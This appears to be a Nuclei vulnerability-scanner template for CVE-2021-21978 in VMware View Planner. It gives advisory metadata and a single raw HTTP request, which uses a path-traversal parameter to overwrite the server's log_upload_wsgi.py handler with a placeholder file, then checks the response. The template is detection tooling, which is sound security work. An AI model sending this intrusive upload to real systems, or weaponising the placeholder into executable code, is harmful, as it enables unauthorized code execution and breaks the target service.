id: CVE-2021-21978

info:
  name: VMware View Planner <4.6 SP1- Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
    An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
    file leading to remote code execution within the logupload container.
  reference:
    - https://twitter.com/osama_hroot/status/1367258907601698816
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21978
    - https://www.vmware.com/security/advisories/VMSA-2021-0003.html
    - http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21978
    cwe-id: CWE-434
    cpe: cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:*
    epss-score: 0.97457
  tags: cve,cve2021,vmware,rce,packetstorm,fileupload,intrusive
  metadata:
    max-request: 1

http:
  - raw:
      - |
        POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: text/html
        Referer: {{BaseURL}}
        Connection: close

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="logfile"; filename=""
        Content-Type: text/plain

        POC_TEST

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "File uploaded successfully."

        part: body
      - type: dsl
        dsl:
          - "len(body) == 28" # length of "\nFile uploaded successfully."

      - type: status
        status:
          - 200